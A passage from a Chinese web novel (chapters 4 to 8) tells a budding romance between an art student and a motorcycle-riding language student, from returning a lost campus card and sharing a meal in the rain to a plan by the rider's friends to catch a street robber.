祁随之的朋友圈东西不太多，有几个骑行的小视频，有山顶刚日出的照片，更多的是那辆镶着绿边的摩托的照片。 能看得出来祁随之很喜欢这辆车，这辆车出镜的次数比其他任何东西都多。 “何征。”明暄退出朋友圈，歪了下脑袋喊了一声还坐在下面的人。 何征摘下耳机抬头看他：“怎么了？” “你骑过机车吗？”明暄问他。 “啥？？”何征瞪大了眼睛，“我疯了还是不要命了？？我妈三天两头跟我说哪哪儿又有夜骑车祸直接死亡的例子，我要敢骑这玩意儿不被撞死也要被我妈弄死啊。” “你不是吧暄儿？你不会突然对这玩意儿感兴趣了吧？” “没有。”明暄说，“我就是好奇。” 明暄从小跟着爷爷奶奶一起住的，隔辈亲这玩意儿不是假话，明暄想做什么他的家里都支持，可以说明暄是被捧着长大的。 但即使如此，每个家庭都有底线，有不允许他碰的东西。 比如赌，比如毒，再比如机车。 “好奇什么？好奇机车？”何征问，“这可不兴好奇啊暄儿。” “不是好奇机车。”明暄摇了摇头，“我是好奇……” 明暄没有说完。 他对机车没什么好奇的，这不是他会尝试的东西。 但他好奇的是，对这些骑行者来说，真的没有比车和速度更重要的东西吗？ “拿你校园卡那哥们儿是骑这个的？”何征看着明暄的表情，一阵见血道。 明暄“嗯”了一声。 “真一见钟情啊？”何征单手撑着椅背看他，“我刚开玩笑的。” 明暄想了想：“在便利店的时候只觉得他帅。” “那就是他替你解围那会儿心动了？” 明暄晃了晃脚没说话，祁随之单脚撑地跨在机车上向明暄伸出手的画面仿佛还在眼前。 心跳加快。 他一向坦然，点了点头：“挺心动的。” “我的建议吧，你趁早算了，长在审美点上的人还会有第二个。”何征说，“你知道对男人来说最致命的问题是什么不？就是游戏和女朋友谁更重要。” “但到了玩儿车的人这里就不一样了，可以直接问问他速度和命哪个更重要，不出意外你得到的回答一定是速度。” “你真跟他谈恋爱，三天两头联系不上不得急死了？” “又不一定。”明暄下意识反驳道。 “那也有百分之八十的可能性。”何征无情地戴回了耳机，“早点睡吧你，少想些有的没的。” 明暄鼓着嘴朝着何征的位置做了个鬼脸，拿过枕头抱在怀里，翻开手机打开和祁随之的微信聊天框。 【明暄：休息了吗？】 祁随之消息回的很快。 【祁随之：还没】 【明暄：方不方便给个地址，我拿一下校园卡】 【明暄：没校园卡我出入宿舍不太方便qvq】 【明暄：如果麻烦的话可以随便放在哪里，我自己去拿就好！】 祁随之收到消息的时候刚洗完澡，他穿着宽松的裤子赤着上身坐在沙发上，拿着一方毛巾有一搭没一搭地擦头发，茶几上空荡荡的，只放了一张不属于自己的校园卡。 他拿起那张校园卡，视线落在卡上的照片上。 S大校园卡上都是高考时统一拍的照片，大多数人那会儿正在被即将到来的高考折磨，拍出来脸色蜡黄双目无神。 但明暄不一样。 照片上的明暄的眼睛很亮，脸又白又小，弯着眼角笑的样子看起来又乖又可爱。 这个人就和他捧了一晚上的那盒草莓牛奶看起来一样。 祁随之放下校园卡，拿起了手机。 【祁随之：明天中午下课吧，T大北门】 【明暄：好，那麻烦你啦】 【明暄：请你吃饭！】 祁随之挑了挑眉，没有拒绝。 T大和S大只隔了两条街，明天一整个上午明暄都没课，他只要在平常下课的前十分钟走过去就好了。 明暄放下手机，从枕头旁掏出iPad和笔，塞上耳机挑了一首很有激情的歌，打开绘画软件，一笔一笔随意勾勒。 成型了一张侧颜。 明暄把这幅画保存，命名了为“祁”。 5. 第 5 章 明暄醒来的时候觉得有些冷，他怀里抱着薄被侧身躺着，宽松的裤管在一夜之间滑倒了膝盖，白皙紧实的小腿压在被子上。 打了个寒颤，明暄揉了揉鼻子，恍惚不清地盘着腿坐起身。 “降温了么，怎么这么冷啊？” 声音里带着不甚明显的鼻音。 “没啊。虽然没出太阳，外面挺闷的。”靳亚说，“刚出门了一趟有点热，我把空调打低了一点。” 明暄眯着眼睛望向挂在墙上的空调。 “十六度。”明暄捞起薄被裹在身上一层又一层，看着像一个瓷娃娃不倒翁，“这叫打低了一点，我今天要是感冒了我就得骂你了。” “感冒了就让他伺候你。”何征收拾着自己的画笔说道，“我去画室了，中午不跟你们一起吃饭。” 闻言，明暄从被窝卷卷里伸出手，在床上摸索着手机。 十一点十分。 “这么晚了啊？”明暄赶忙把裹在身上的被子掀开，从床上翻身下来，“我中午也有约，吃饭不用等我。” 靳亚意外地看着他：“嗯？” 明暄一边在衣柜里找等会要穿出门的衣服，一边开口道：“去拿我校园卡啊。” “补办一张不就好了。”靳亚说，“就在学校里去补办个卡你都嫌麻烦，出去找别人约见面拿就不麻烦了？” “麻烦什么麻烦，也不看是谁捡着他的卡是不？”何征虽然昨天和明暄说了让他趁早放弃的那番话，但这会儿还是没忍住嘴痒去闹腾他一下。 在室友们呜呜喳喳的怪叫声中，明暄拿着衣服带着笑推开了浴室的门。 “是啊是啊，都知道我要出去见男人了就别说这么明白了吧？” 洗完澡出来后，明暄拉开椅子坐下，打开抽屉，翻出了一瓶乌木香水，往自己的颈侧喷了一点。 抬手闻了闻指尖残留的香水味，明暄满意地拿过手机站起身：“我出门了啊。” 作为学画画的，每次无论是去画室也好去写生也罢，这伙人都是什么衣服扛糟蹋穿什么，反正画完都是一身脏。 但明暄今天不是去画画的，他是去见男人的。 他穿了一件宽松的粉色中袖衬衫，搭了一条白色的短裤，项链配饰香水一个不落，像极了花枝招展的小花蝴蝶。 还是蝴蝶里最漂亮的那一只。 天气闷热，明暄站在T大门口的树下，往人来人往的校园里张望，时不时低头看两眼手机。 祁随之刚走出校门就看见了捡了一片树叶蹲在地上百无聊赖的明暄。 宽大的衬衣衣摆拖在地面，看着像一盒甜腻的草莓牛奶。 “来了怎么不跟我说一声？”祁随之走到他的面前，从口袋里掏出校园卡递给他。 明暄听见声音抬起了头。 祁随之穿着简单的黑色T恤牛仔裤，不似穿赛车服那样有竞技感，更多的是少年意气。 他站起身，接过自己的校园卡。 也看清了祁随之右手手腕上那个拍照时只露出来了一小块儿的纹身。 led电子数字体。 [299km/h let\''s race] “啊，刚来没多久。”明暄弯着眼角看着祁随之，“怕会打扰到你，就没给你发消息。” 祁随之笑了笑，指了一下明暄的衣摆：“你衣服上沾了灰。” 明暄揪起来自己的衣摆扭过头拍了拍：“拍干净了，还有吗？” 祁随之摇头说：“没了。” “昨天说请你吃饭你都没回我。”明暄状似委屈地开口，“我空着肚子来的，你应该不会拒绝我吧？” “不会。”祁随之觉得明暄可爱的有些过分，“你想吃什么？” 大热天的，火锅烤肉这种东西吃完一身汗，还沾着味儿，首个被明暄排除。 日料法餐倒是不会有这种顾虑，但是开在学校周围的店铺多数以实惠为主，明暄并没有在学校附近吃到过好吃的日料法餐。 看着明暄纠结着皱眉思考的样子，祁随之笑了笑看着他：“我有点想吃鱼。” “那就吃鱼！”明暄抛干净了脑子里那些这个不适合那个配不上的想法。 吃饭嘛，自然是以人的心意为主。 “旁边商场里有一家水煮鱼做的挺好吃的，去哪里可以吗？” “行，我去骑个车。”祁随之点头，掏出手机往一旁的过道上走。 “昨天那辆摩托么？”明暄跟在他身后，眨巴着眼睛问。 “不是。”祁随之站定在一旁的共享电动车旁，打开微信扫码解锁，“我那车你坐着不难受啊？” 明暄眼睁睁地看着面前这个看着就酷哥的祁随之把一辆红了吧唧的共享电动车推了出来，呆愣愣地回话：“不、不难受吧。” “那你昨晚抱那么紧，不是怕掉下去？”祁随之将手机递给明暄，拍了拍后座，“帮我拿一下吧，我衣服没口袋。” 明暄接过手机，握着祁随之的肩膀迈腿跨上了后座。 昨晚抱那么紧…… 那当然是怕掉下去啊！ 毕竟半个屁股都悬空着的，谁不怕啊？ 但也有可能，就是单纯的，想要抱这么紧。 谁分得清呢。 电瓶车匀速前进，明暄单手握着两部手机，另一只手抓着座椅旁的杆杆，透过后视镜看着祁随之的脸。 这人看起来一副很桀骜的样子，但却又莫名的感觉性格很好。 电瓶车停在红绿灯前，看着红色的数字跳动，祁随之下意识地转了一下握把，电瓶车往前冲了很小一段距离。 明暄猛地往前一倾，鼻子贴上了祁随之的后颈，闻到了一股很干净的木质香味。 “抱歉，骑摩托习惯了。”祁随之偏过头看他，“没事儿吧？” 明暄揉了揉鼻子说没事。 正值饭点，商场里人满为患，这家水煮鱼店需要排队，但不长，前面只有一桌。 明暄坐在店门口的靠椅上打量着商场的新装扮：“夏天看着红色好热。” 祁随之看了他一眼，跟着他的视线一起投向了商场顶端的电子屏：“是有点。” “你喷香水了啊。”明暄将视线从顶端收回，偏过头看祁随之。 祁随之勾着嘴角看他：“你不也是？” 明暄说不清自己此时的想法，他喷香水是因为他重视这一次见面。 那祁随之呢，是因为习惯还是因为别的？ 不知道想到了什么，明暄低下头很轻地笑了一声。 “A087请用餐。” 餐厅播报的声音传入耳中，明暄拿着排队的号码条站起身：“到我们啦。” 他们的位置挺偏，在一个小角落里，不似周围嘈杂。 明暄将点餐平板递给祁随之。 “你有忌口吗？”祁随之划着平板问道。 “不吃葱不吃花椒，不能吃特别辣。”明暄说。 祁随之点好了鱼，将明暄的忌口备注后，把平板递给了明暄。 随意加了两个凉菜，明暄把平板递给了服务生。 等餐的期间，明暄撑着脑袋看着面前水杯里飘着的柠檬片，吸了一下鼻子。 祁随之注意到他的动静，看着他问：“感冒了吗？” “应该没。”明暄摇了摇头，复而又想到了什么，表情变得十分生动，“哇我跟你说，真的离谱，早上起来的时候我室友把空调调到了十六度，硬生生给我冷醒了。” “不过也幸好，我昨晚忘记设闹钟了，要不是冷醒了我可能这会儿都还在做梦。” 祁随之拿起杯子喝了口水：“昨晚没睡好吗，吓着了？” “没有。”明暄摇了摇头，“睡前在画画，画的有点晚。” 祁随之点了点头，没再说话。 很快，服务生端着一大盆水煮鱼摆在了桌子中间。 明暄拿起筷子，挑了肥美且没有刺儿的一大块鱼肉放进了祁随之的碗里，弯着眼看着他笑：“虽然没被吓到，但还是谢谢你啦。” 白炽灯下，明暄的笑容晃眼，祁随之迟迟没有动作。 “那什么，我筷子还是干净的。”明暄看着他不动筷，赶忙解释到，“我没看到有公筷，你要是介意的话……” 祁随之摇了摇头，夹起来那块儿鱼肉：“我不介意。” 明暄一向都吃的不太多，填饱了肚子后，他捧着那杯柠檬水小口啜饮看着祁随之吃饭。 祁随之吃饭很安静，盘子上垫了几张纸巾，鱼骨鱼刺都吐在了纸巾上。 如果没有这个纹身的话，很难把眼前的这个人和赛车挂上勾。 “299千米时，有什么特殊的含义吗？”明暄有些好奇地问道。 “特殊含义应该算不上。”祁随之抽了张纸，“机车跑速的显示最高只能到299。” “那你试过这么高速度吗？什么感觉啊？” “试过，”祁随之指腹摩挲手腕的纹身，勾起了唇角，“感觉的话，放空和爽。” 提及自己喜欢的领域的祁随之自信又熠熠。 结完账走出商城时，外面已经落起了淅淅沥沥的小雨。 “下雨了。”明暄伸出手接了两滴雨水。 毕竟是在夏天，也不是多大的雨，明暄想也没想就打算往外走。 只是腿刚迈出去，手腕就被人拉住了：“买把伞再走。” 祁随之的手掌很大，可以把明暄的手腕整个环住。 “不用吧，雨又不大。”明暄停下前行的动作，回过头看他。 祁随之的指腹在他的腕间蹭了蹭，薄茧摩挲皮肉的感觉，让他有些心猿意马。 “你看起来比较娇贵。”祁随之的话里带着一些笑意，“吹空调都能着凉，淋雨回去不是要我做罪人？” 明暄只好跟在祁随之的身后，走进了一家卖各种玩物的精品店里拿了一把透明的伞。 倒真应了何征的那句话，祁随之撑着伞，明暄在伞里，两个人肩靠着肩，时不时手碰碰手。 木质香和沉香交融，混着雨水的味道。 明暄低着头，肩膀一抖一抖地憋着笑。 “笑什么？”祁随之扬眉看他。 明暄微微抬头，眼底的笑意还没消散：“我室友昨天还在说下雨的事儿，我说他适合画少女漫。” “嗯？谁是少女？”祁随之问。 不知道这句话戳中了明暄的什么点儿上，他仰着头看着祁随之，笑得泪花都溢了出来。 祁随之有些无奈地看他：“怎么了，我问了很好笑的问题吗？” 明暄笑着摇头。 手腕被握住，明暄被带到了屋檐下站着，他听见祁随之说了一句“等我一会”就钻进了一旁的便利店里。 明暄弯着嘴角看着雨水下落。 没一会儿，随着“欢迎光临”的声音，祁随之走了出来。 一盒草莓牛奶递到了他的面前。 “本来想买冰的，但刚吃完热的不太合适，就买了常温的。” 明暄双手捧着草莓牛奶，呆愣地抵在心口。 怦怦、怦怦—— 别跳这么快啊，草莓牛奶都给跳成热的了。 6. 第 6 章 明暄一向感性。 特殊环境下的心动可能是基于环境本身，但在寻常环境下的二次心动，便和环境没有了任何关系。 他握着草莓奶，微微抬头看着祁随之。 祁随之被他盯了小半天，抬手摸了摸自己的脸颊：“怎么了？我脸上有东西没擦干净吗？” 明暄看着他摇头，唇角的笑容放大，好看的一双眼弯弯：“没有哦。” “下雨不方便骑车，打车先送你回去吧。”祁随之说，“还是说你还有别的事情要做？” 明暄挤开草莓奶的口子，浅浅抿了一口。 甜滋滋的味道充斥了口腔，蔓延到心口。 “本来想吃完饭去报案的。”明暄舔了舔唇瓣，“但突然不想去了。” 祁随之意外地看着他：“嗯？” 一滴雨落在明暄的肩头，晕成一朵水花。 祁随之把手上的伞往明暄那边偏了偏，将他整个人都拢在了伞下。 “有失就有得。”明暄说，“丢了些不重要的东西，但也得到了……” 他歪着头，话说的慢慢，适时地留下了给人遐想的空间。 祁随之看着他：“得到了什么？” 明暄促狭一笑：“秘密。” “行吧。”祁随之没多过问，“那现在先送你回学校？” “走回去可以嘛，刚吃完饭想消消食。”明暄低下头，伸手揉了揉自己的肚子。 祁随之低头看着他的动作，衬衣一片平整，好笑道：“吃那么一点儿也要消食啊？” 明暄沉重地点头：“是的，我们小画家都十分注重自己的身材。” 祁随之撇开头轻笑了一声：“那走走吧，小画家。” 雨滴拍落在透明雨伞上，连绵成一片顺着伞面下滑。 明暄在伞下伸出手，接下雨水。 指尖一捻，指腹全都湿润，顺着纤长的手指滑到手臂，再泯进衣袖。 祁随之撑着伞，看着他不亦乐乎地玩着这个幼稚的小游戏。 走到红绿灯前时，绿灯只剩下了三秒。 三秒钟不足以让他们跨过这条长长的人行道，两个人心照不宣地停下了脚步。 “我好喜欢雨天。”明暄玩够了水，甩了甩手收了回来，自顾自地开口，“尤其是在夏天。在阳台关着窗听着雨声画画的感觉很好，对啦，下次让你看看我画的画吧？” “行啊。”祁随之说，“不过我没有什么鉴赏能力，如果只夸了一句‘漂亮’，那也不是我敷衍，是我只会说好看。” “那漂亮就是最高赞扬。”明暄眨了眨眼，“你呢，你喜欢下雨吗？” 祁随之想了想，摇了摇头：“说不上不喜欢，但也不是喜欢。” “为什么？” “下雨骑车不安全。”祁随之说。 是一个明暄没想到却又在意料之中的回答。 祁随之看着对面，红灯开始闪烁，三二一倒数。 “绿灯了。” 走回学校的路不算很长，但也不短，明暄像个小麻雀一样在祁随之旁边叽叽喳喳，说个不停，偶尔抬头问两句，祁随之都认认真真回答。 小雨并不会影响人出行，S大门口都是来来往往的行人。 明暄停了下来，微微往后撤了一步，转过身面对着祁随之。 不太想就这么分别，明暄抿着唇，开始找话说。 “你怎么都不问我叫什么？” “我知道啊。”祁随之直视着他的眼睛，眼底抹了一层笑意，“你学生卡上有。” “那不算正式认识。”明暄鼓了下腮帮子，他抬起手，“认识你很开心，我叫明暄。” 祁随之伸手握住了明暄微凉的手：“我叫祁随之。” 明暄适时地收回手，背在身后，绷直了腿，脚尖抬起又放下。 “那我就……先回去啦？”明暄指了指S大的大门。 “好。”祁随之点了点头，不由分说地把手中的伞放进了明暄的手心，“打伞回去。” 伞柄温热，还带着很淡的一股香气。 明暄没有拒绝，伞在他手上，就有了下一次见面的机会。 撑着伞走进学校，明暄回过头。 很奇怪，明明门口来往的人这么多，明暄却一眼就找到了祁随之的位置。 细碎的雨珠蒙在他的头发上，看上去温柔又朦胧。 回到宿舍后，明暄抽了两张洗脸巾，将伞面上的雨水以点一点细细擦干。 靳亚看着他对着一把廉价的透明雨伞这么宝贝，心中百感交集，萌生出了一股悲凉的情绪，他小心翼翼地开口：“你家破产了？” 明暄：？ “十块钱的伞，你直接撑开晾在走廊不就行了？”靳亚边说边走到明暄身边，往他的桌上放了一小包软糖，“外卖送的，我不吃甜。” 明暄将伞收拢放在桌上，洗了个手回来毫不客气地拆开这包软糖，捻了一颗送进嘴里：“这伞这么常见，被人收走了怎么办？” “什么怎么办？”靳亚的表情写满了疑惑，“谁要你的伞啊？” 明暄蹬下了一只鞋，踩着上床的台阶伸手够到了放在枕边的ipad和笔，勾着运动鞋一蹦一跳地回到座位上，拉开吊椅坐了上去：“我不管。” “傻逼吧你。”靳亚无语地翻了个白眼，“你不是要去警局么，这么早就回来了？” “没去。”明暄打开procreate（ipad绘画软件），新建了一张画布。 “为什么？” “万一被报复蹲点了怎么办，就当破财消灾了呗。”明暄耸了耸肩，“而且我也有收获，当下要做更重要的事儿了。” 靳亚冷哼了一声，翻出手机打开宋秉兼发给他的照片，递给了明暄。 明暄接过他的手机。 照片不算很清晰，看着像是放大镜头拍下的。 照片里的人站在同一把伞下，祁随之撑着伞，站得挺直，明暄绷着小腿脚尖勾起，仰着头微微往前倾，带着笑。 是从侧边拍的，祁随之的侧颜优越到不行。 “就这男人是吧？”靳亚作势拿回自己的手机，“骑摩托的？” “是的。”明暄点头，拿着靳亚的手机往后收了收，手机没被抽走。 他从口袋里掏出自己的手机，打开airdrop，把照片传到了自己的手机上细细观赏：“谁拍的啊，还挺好看，就是有点糊。” “宋秉兼拍的。”靳亚抢回自己的手机，“传什么传，他发群里了，你没看见？” “我没看消息啊。”明暄说着，打开了微信。 寝室群里宋秉兼发了这张照片后，靳亚和何征各回了一句“啧啧啧”。 明暄嘿嘿笑了两声，手指在屏幕上飞快打字。 【明暄：拍的真好看，存咯！不愧是学画画的，拍出了一种宿命感】 【明暄：嘻嘻嘻！】 【宋秉兼：……】 【宋秉兼：别逼我骂你】 明暄不搭理他，把手机往桌面一扣，盘起了腿回过头看着靳亚：“靳亚，你之前怎么追那个隔壁学校音乐系姑娘的？” “问这干嘛？” “我要追人啊。”明暄理所当然地开口，“还没追过呢，先取取经。” 靳亚觉得自己像个冤种：“那你问别人吧，兄弟没追到。” 明暄投过去一个怜惜的眼神：“好惨喔。” 靳亚握了握拳。 明暄这个小鸡仔身板应该挨不住他一下。 算了，放他一马。 明暄往后一仰，将ipad立在自己的膝盖上，调好笔刷开始一笔一笔勾勒。 便利店，屋檐落下的水，透明雨伞，草莓牛奶，还有两个同在伞下的人。 他用ipad画画一向快，不出半小时就勾勒除了雏形。 放下平板活动颈椎的片刻，他的手机响了一下。 【祁随之：我到了】 明暄看了一眼时间，有些讶然。 【明暄：这么晚才到？？】 【明暄：那岂不是湿透了T^T】 【明暄：应该把伞给你的】 祁随之肩膀上搭了一块儿毛巾，身上拢着一层潮气。 【祁随之：早就到了，洗了个澡，忘记跟你说了】 【明暄：那就好那就好，吓死我了】 祁随之甚至能脑补出来明暄这个一惊一乍的语气，那夜在小巷里还以为他是个沉稳的人，倒没想到原来这么跳脱可爱。 他没再回复，明暄也没再说话。 他站起身，将脏衣篮里的衣服扔进洗衣机，拿过烟灰缸放在洗衣机上，将阳台的窗打开了一些，点了一根烟。 抽一根烟不到五分钟，祁随之却莫名其妙对着窗外的雨景笑了三次。 明暄将这幅画勾完线填完色已经过了一个多小时，他的手机摆在桌面上没再响过。 明暄弯下身从柜子旁抽了一瓶矿泉水打开，一边喝眼睛一边瞄着手机屏幕。 怎么不响一声啊，是不是不小心静音了？ 他拿过手机点开，屏幕上没有一条新消息。 不是静音了，就是没有回复。 叹了口气，他又点开了ipad，对着这副画继续细化。 “叮” 明暄眼睛一亮，放下平板拿过手机打开微信—— 【何征：你颜料用完了不？要给你带点吗？】 明暄泄气地往后一靠，慢吞吞地打字。 【明暄：不用，我晚点自己去买】 熄屏。 “叮” 明暄懒懒散散地打开手机，估摸着是何征约他直接出门一块儿买。 点进微信，冒着小红点的头像不是何征的。 【祁随之：听不进课，看看小画家的画？】 明暄眨了眨眼睛，不自觉地坐直了身子，或许是拿久了笔，打字的手轻微颤抖。 但这不重要。 【明暄：好！！】 7. 第 7 章 明暄会保存自己画出来的画，甚至手机里有单独一个相册，存下了他从高中坚定选择绘画开始到现在的每一张作品。 稚嫩的、成熟的、充满意外的，都是一段属于自己的记忆。 他坐直了身子，翻开相册，挑挑拣拣找出了近段时间的几副画发送了出去。 一张静物素描，一张水彩风景，还有一张油画，画板中心是一朵鲜艳欲滴的玫瑰花。 祁随之点开风格大相径庭的这几张画来回切换地看。 他不懂绘画，线条也好光影也好色彩也好，他看不出其中的门道，但他能看出来明暄画的画真的很漂亮。 过了好一会儿，明暄才收到祁随之的消息。 【祁随之：我本来想找点词夸一下，实在是找不出来，只能夸你一句漂亮了】 明暄的目光被句子的后半段吸引，他抬手捏了捏自己的耳垂，带着点儿试探地问—— 【夸我的画还是夸我？】 【祁随之：不能都夸吗？】 【祁随之：你的画和你都很漂亮】 明暄满意地笑了两声。 【明暄：要不要猜猜我学的是什么画？】 他以为祁随之会思考一会儿，但没想到这句话刚发出去没一会儿，回复就传到了手机上。 【祁随之：玫瑰那个吧？】 【明暄：bingo！】 明暄越来越相信一见钟情了。 油画是他的一见钟情。 祁随之也是他的一见钟情。 【祁随之：我猜对了，那你要不要猜猜我学什么的？】 【明暄：这怎么猜嘛，我好歹给你了猜的范围！】 片刻后，明暄收到了一张照片。 祁随之骨节分明的指尖夹着一支水性笔，拇指关节压着书封，封面上写着课程的名字—— 《马克思主义基本原理概论》 明暄：？ 手很好看，就是同样的书他也有一本。 他鼓了鼓嘴，从吊椅上下来，打开脚边的柜子，翻出了在书柜角落崭新到现在的那本一模一样的书摆在桌面上，拍了一张发给了祁随之。 【明暄：你也是学油画的嘛！】 祁随之低下头笑了好长时间。 【祁随之：不逗你了】 【祁随之：我学小语种的，俄语】 【明暄：那你毕业后做翻译么？】 【祁随之：不做】 想来也是，追求刺激的人怎么可能甘于平凡。 【祁随之：下课了小画家，我先回家】 明暄回了句“好”，想了一会儿，再一次点进祁随之的朋友圈，点开了为数不多的骑行视频。 视频在一段山路里，第一人称视角，呼啸的风和引擎声响彻在耳边，明暄开始紧张。 就好像骑车的人不再是祁随之，而是他自己。 压弯时伏低，直线时疾行，两侧的风景后撤，明暄下意识地屏住了呼吸。 靳亚看知道明暄像个小猫一样蜷成一团低着头看手机，叼着苹果起身走到明暄身侧拍了一下他的肩膀：“看啥呢？” “啊！！”明暄一个激灵，被吓了个好歹，还播放着视频的手机在两只手里打转，碰到吊椅边缘，啪嗒一下砸到了地上，“卧槽吓死我了你——” 明暄没急着捡手机，一边大口喘着气儿一边心有余悸地拍着自己的胸口。 “你缩在这里看恐怖片？”靳亚蹲下身伸手捡起来了明暄的手机，视线落在了屏幕上，“这什么？你在玩游戏？” 明暄摇了摇头：“不是游戏，是他朋友圈里的骑行视频。” 靳亚将明暄的手机音量调大，呼啸的风声盖不住引擎的声音。 视频放完，就像通关了一场第一人称骑行游戏。 靳亚偏过头看着明暄，明暄也抬起头看着他。 “你苹果氧化了。”明暄指了指靳亚手中那个啃了几块儿的苹果。 靳亚呆愣地眨了眨眼：“卧槽，这确实刺激。” “我心跳都变快了——”明暄长抒了一口气，“好危险。” “但也很有魅力。” 靳亚不置可否。 “他本人跟他骑车一样野吗？” 明暄摇了摇头：“没有，他很好相处，很温和的一个人。” “那反差还挺大。”靳亚把手机递给他，“真想追啊，没开玩笑？” “没开玩笑啊。”明暄接过手机放在桌面上。 靳亚点了点头：“行，祝你好运。” “你为什么没追到那个音乐系的姑娘，告诉我一声，我吸取一下经验。”明暄拍了拍靳亚的胳膊，讨打地问道。 “我没追到不是我的原因ok？”靳亚的白眼恨不得翻到天上去，“那个姑娘有喜欢的人，我及时止损。” 有喜欢的人。 对哦！！ 祁随之这样的人应该很吸引小姑娘的，他不会…… 不会有女朋友吧？ 明暄像个蔫儿了的大白菜一样趴在桌上，连连叹气。 “怎么了你？”靳亚一边啃苹果一边含糊不清地开口。 明暄蔫儿了吧唧地摇了摇头：“没什么。” 靳亚懒得打理这个矫情精，翻了个白眼往后撤了两步：“我去买点吃的，要给你带点儿什么？” “都行，带什么吃什么，我开盲盒。”明暄说。 靳亚比了个“ok”的手势，推门走了出去。 宿舍里只剩下了明暄一个人。 他闷着脑袋，又陷入了头脑漩涡里。 祁随之有没有女朋友啊？ 有没有啊？ 啊？ 不行，得想个办法。 他猛地坐直了身子，打开搜索引擎—— “如何试探一个人有没有对象” 抱着学习的态度看完了整个回答，明暄了然地点了点头。 不就是试探！ 他再再再一次打开平板，选了一张微信头像格式的画布大小，埋头苦画。 · 大排档里热火朝天，祁随之和几个朋友一起吃饭。 他没怎么动筷子，仰靠在椅子上心不在焉地透过玻璃窗看着街道。 “什么忙要帮，你也有要哥们帮忙的时候？”坐在旁边的人促狭地用胳膊肘撞了撞祁随之的肩膀，“说吧，在所不辞。” 祁随之的视线落在了街斜对面那条没人的偏僻小巷：“不是什么大事儿，等会帮忙见义勇个为。” 话音落下，祁随之的手机在口袋里震了一下，他低下头拿起手机。 【明暄：[图片]】 是一张Q版的板绘，一个小人抱着头盔，单腿撑地跨在机车上，看起来可爱又嚣张。 【明暄：摸鱼了一张微信头像送给你！】 小人骑的那辆Q版小摩托配色和他的车配色一模一样，是照着他画的。 在头像的右下角是一个简笔画笑脸，还有一个署名—— by：mx 祁随之挑了挑眉，将图片保存下来，换上了自己的微信头像。 再度点进对话框，明暄的名字变成了对方正在输入中。 祁随之笑了笑，手指轻动打字。 ——很好看，谢谢。 这句话还没来得及发出去，正在输入又变成了明暄的名字。 对话框里弹出来了一句话。 【明暄：对了，你用了我画的头像，你女朋友不会生气吧QAQ】 祁随之实在没忍住笑出了声。 围成一圈儿坐的朋友们看着祁随之笑地开怀，一个两个都诧异的不得了。 “笑什么呢你？” “认识了一个可爱的人。”祁随之笑意未减，“超级、超级可爱。” 8. 第 8 章 问话的人叫冉乐，是他们这一帮人里最细胳膊细腿的一个。 也正因如此，每次相约跑山的时候看着别人骑重机，冉乐都十分眼红。 他压不住。 “你说你好歹还在大学里读书，怎么形容词就这么匮乏。”冉乐叹了口气，“超级可爱。” “都在大学里了还有什么形容词。”祁随之接过一旁的人递给他的烟，手指收拢搭在鼻梁上点燃了烟，“高考完我脑子里的所有东西全都烟消云散了。” “行吧，只是可爱，漂亮么？”冉乐问，“一般不都是说只有没得夸才会夸可爱吗？” 祁随之吸了一口烟，烟雾从他微抿的唇角溢出，洒进夜色里。 “随之都笑成这样了，能不漂亮吗？”旁边的人插话，“估计下次咱们见随之就要看到漂亮姑娘咯。” “暂时还不至于。”祁随之说着，视线里出现了一头亮眼的黄毛，他勾了勾嘴角，有些不怀好意地看着冉乐，“小乐，帮我个忙？” 冉乐被他的眼神看得有些发毛，微微往后仰了点儿，警惕地看着祁随之：“你先说。” 祁随之冲着街道小巷附近打转的黄毛扬了扬下巴：“看到那个人没？等会你背上你那个印满了logo的包从那人的面前窜到那个小巷子里。” “就这？” “嗯，就这。”祁随之点头。 “我还以为多大点事儿。”冉乐说着就拎着他那个显眼的奢侈品包包站起了身。 “哦对还有，如果他们对你做什么，你先别动手。”祁随之说。 这话一出，整桌人看着祁随之的表情都不对劲了。 “能做什么啊？” “我操不会是我想的那样吧？” “乐，不动手的同时保护好自己的屁股。” 祁随之哑然了片刻，无语地环视了这一圈儿看热闹不嫌事大的人。 “不是，你先说你想要干什么。”冉乐下意识地捂住了自己的屁股，警惕地看着祁随之。 “钓鱼执法。”祁随之摁灭了手中的烟，“你是鱼。” 冉乐不解：“那为什么是我啊？？” “你看这一桌，除了你谁适合啊？”一个剃着寸头脖子上有纹身的五大三粗的大哥开口道。 冉乐的视线落在了每一个人的身上。 他们这一伙人除了他，就连唯一的女孩儿都是骑重机的，而要压住重机，体格上首先要过关。 即使祁随之能保证不出事，他也不会让女孩儿去犯这个险，而另外的人…… 各个儿都是一副勤于锻炼的样子，就黄毛那几个瘦弱小鸡，哪儿敢找这些人的麻烦啊？ 冉乐的视线环了一圈，最终落在了祁随之的身上。 祁随之很白，穿上衣服后看着也没有多健壮，穿衣显瘦的典范。 “你自个儿去呢？”冉乐问。 祁随之无辜地摊了摊手：“他们昨天见过我了。” 冉乐：。 你了不起你清高。 他冲着祁随之竖起了中指，咬牙切齿道：“去也行，回头你车给我骑骑过个瘾。” “嚯！你是真敢提啊？” “随之宝贝他的车跟宝贝媳妇儿似的，你这话说的随之能答应？” “我之前也想要骑随之的车过过瘾，我还没试过川崎。”扎着高马尾的女孩儿甩了甩辫子开口，“随之十分冷漠无情地跟我说‘不借’，我伤心好久。” “看见没，咱小雅都借不着，你省省心吧。” 祁随之挑了挑眉：“行，答应了。” 大伙儿再一次震惊。 “一言为定啊。”冉乐冲着祁随之抛出了个wink，挎着他的包走出了店。 “那几个人怎么得罪你了？可爱妹妹被欺负了？”小雅察觉出不对劲，皱着眉开口问道。 她是最嫉恶如仇又感性的姑娘，有的时候看一些社会性新闻都会边哭边骂。 “不是妹妹。”祁随之说，“被抢了些东西，他不想追究了，我来。” “虎哥刘哥等会陪我一块儿去一下？”祁随之说，“拧着人送去警局就行。” “行啊，要么车也给我骑骑？”虎哥拿了根串儿，咬下上面油滋滋的牛肉，含糊不清地问。 祁随之：。 “你自己都知道车是媳妇儿，你自己的杜卡迪你不骑你要骑随之的川崎，你这不搞外遇么你？”刘哥没好气道，“不过你能确定这人会找小乐麻烦？” “不确定。”祁随之说，“但可能性挺大的。” 毕竟前一天晚上刚在同一个地方蹲到了个听话的明暄，会再来碰碰运气也无可厚非。 更何况比起明暄，冉乐才是真·花花蝴蝶。 身上衣服背的包logo恨不得贴脑门上。 祁随之仰靠在靠椅上，视线落在小巷中。 在冉乐走进那条小巷的时候，果不其然，黄毛跟了进去。 祁随之抽了张纸擦了擦手，不紧不慢地站起身：“猜对了，走吧。” 